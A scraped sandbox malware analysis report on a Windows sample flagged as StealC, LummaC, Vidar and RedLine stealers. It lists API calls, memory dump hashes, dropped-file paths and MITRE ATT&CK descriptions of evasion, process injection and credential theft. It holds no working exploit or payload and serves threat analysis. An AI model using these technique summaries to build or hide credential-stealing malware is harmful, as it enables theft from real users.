Associated: 00000027.00000002.1841998365.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: 57923e09db2b1965b2e7f34808721c618ad5f50ea104b346db2e7d3af5ca8ace
Instruction ID: 79a306a9ddce9c6cdb539d8aaa48a82ffdeeeca754e5da37ea89086183b8fd1c
Opcode Fuzzy Hash: 57923e09db2b1965b2e7f34808721c618ad5f50ea104b346db2e7d3af5ca8ace
Instruction Fuzzy Hash: 87416371E01108ABCB04EFE5DC89AEEB774BF44314F00801EE51677251DB78AA95CF9A

Function 69A6C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 69A6C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 69A6C969
GetSystemInfo.KERNEL32(?), ref: 69A6C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 69A6C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 69A6C9E2

Memory Dump Source

Source File: 00000027.00000002.2129898723.0000000069A51000.00000020.00000001.01000000.00000020.sdmp, Offset: 69A50000, based on PE: true

Associated: 00000027.00000002.2126696666.0000000069A50000.00000002.00000001.01000000.00000020.sdmpDownload File
Associated: 00000027.00000002.2148703684.0000000069ACD000.00000002.00000001.01000000.00000020.sdmpDownload File
Associated: 00000027.00000002.2150044617.0000000069ADE000.00000004.00000001.01000000.00000020.sdmpDownload File
Associated: 00000027.00000002.2152378985.0000000069AE2000.00000002.00000001.01000000.00000020.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_69a50000_RegAsm.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 2182d1bcd49f5db6f890cdab7196e81e154a8860f7719b890b8fcc4840e7f76c
Instruction ID: f66031ef625c7ccfcc9f47c3401a77b95ba46691e24d5b82e943eaa3d3ad9d6c
Opcode Fuzzy Hash: 2182d1bcd49f5db6f890cdab7196e81e154a8860f7719b890b8fcc4840e7f76c
Instruction Fuzzy Hash: 4421FC326407146FDF059A74CC88B6E73F9FB47B44F50851EFA42A7280DB709D8587A1

Function 69A53060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 69A53095

Part of subcall function 69A535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(69ADF688,00001000), ref: 69A535D5
Part of subcall function 69A535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 69A535E0
Part of subcall function 69A535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 69A535FD
Part of subcall function 69A535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 69A5363F
Part of subcall function 69A535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 69A5369F
Part of subcall function 69A535A0: __aulldiv.LIBCMT ref: 69A536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 69A5309F

Part of subcall function 69A75B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,69A756EE,?,00000001), ref: 69A75B85
Part of subcall function 69A75B50: EnterCriticalSection.KERNEL32(69ADF688,?,?,?,69A756EE,?,00000001), ref: 69A75B90
Part of subcall function 69A75B50: LeaveCriticalSection.KERNEL32(69ADF688,?,?,?,69A756EE,?,00000001), ref: 69A75BD8
Part of subcall function 69A75B50: GetTickCount64.KERNEL32 ref: 69A75BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 69A530BE

Part of subcall function 69A530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 69A53127
Part of subcall function 69A530F0: __aulldiv.LIBCMT ref: 69A53140

Part of subcall function 69A8AB2A: __onexit.LIBCMT ref: 69A8AB30

Memory Dump Source

Source File: 00000027.00000002.2129898723.0000000069A51000.00000020.00000001.01000000.00000020.sdmp, Offset: 69A50000, based on PE: true

Associated: 00000027.00000002.2126696666.0000000069A50000.00000002.00000001.01000000.00000020.sdmpDownload File
Associated: 00000027.00000002.2148703684.0000000069ACD000.00000002.00000001.01000000.00000020.sdmpDownload File
Associated: 00000027.00000002.2150044617.0000000069ADE000.00000004.00000001.01000000.00000020.sdmpDownload File
Associated: 00000027.00000002.2152378985.0000000069AE2000.00000002.00000001.01000000.00000020.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_69a50000_RegAsm.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: f9fff0ea1b5eb3f7c193222bc269d5346efb8373f5e573248250e25572ce90a3
Instruction ID: d7099bad559755610f101915263401deb98ee7184d354c2fd1ba18ee17119259
Opcode Fuzzy Hash: f9fff0ea1b5eb3f7c193222bc269d5346efb8373f5e573248250e25572ce90a3
Instruction Fuzzy Hash: C4F0D636C307C89ACA10DF7489411ABB3E4AFAB514B54E31EE89556561FB3061D99381

Function 00406C30 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(E9FC458B,087400FC,00000040,00000040), ref: 00406CEF

Strings

@, xrefs: 00406CC9

Memory Dump Source

Source File: 00000027.00000002.1841998365.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000027.00000002.1841998365.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.0000000000473000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_400000_RegAsm.jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 867edc3f7feb9bd756791c0b70ce9cc7864d6ccfd6d1b0176bf07496b986d28b
Instruction ID: a97aeec014860b7bcefe5a819602e0a11eb2ce5ea612e9d10357849f9a661301
Opcode Fuzzy Hash: 867edc3f7feb9bd756791c0b70ce9cc7864d6ccfd6d1b0176bf07496b986d28b
Instruction Fuzzy Hash: 3E213174A04208EFEB04CF89D544BAEBBB1FF48304F1181AAD456AB381D3799A91DF85

Function 00418830 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,0040FF57,?,00000000,?,00000000,00420D97,00420D96), ref: 0041883F

Memory Dump Source

Source File: 00000027.00000002.1841998365.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000027.00000002.1841998365.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.0000000000473000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_400000_RegAsm.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 276bb3aec74e4af6613c368acf80f5e0b985b049ffbf94c9a686491cb31b76a1
Instruction ID: 05b335d21f22619e77aa966aeb7f376ddd46b9d978e537c949d5f100d696e3dd
Opcode Fuzzy Hash: 276bb3aec74e4af6613c368acf80f5e0b985b049ffbf94c9a686491cb31b76a1
Instruction Fuzzy Hash: 70F01570C0020CEFCB04EFA5C9496DDBB75EB00324F50859EE82AA7281DBB85B95CB85

Function 004098D0 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000020,00410599,?,?), ref: 004098D8

Memory Dump Source

Source File: 00000027.00000002.1841998365.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000027.00000002.1841998365.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.0000000000473000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000027.00000002.1841998365.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_400000_RegAsm.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 1aee106081fe82a84b5a838b5431766f4324473991f19cdffcfc85f73d7ea574
Instruction ID: 85591d8b2077324c158e0d5cdc0cd752fc6e9f2d8541dbcaab8872a49f7b11e9
Opcode Fuzzy Hash: 1aee106081fe82a84b5a838b5431766f4324473991f19cdffcfc85f73d7ea574
Instruction Fuzzy Hash: CFF054B4D00208FBDB00EFA5C946B9EB7B4AB08304F1085A9FD05A7381E6749B00CB95

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API ).
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Vidar

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Exploits

Bitcoin Miner

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFHDBGHJKFID\GCGIDG

C:\ProgramData\AFHDBGHJKFID\JKJDAE

Windows Analysis Report
file.exe

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre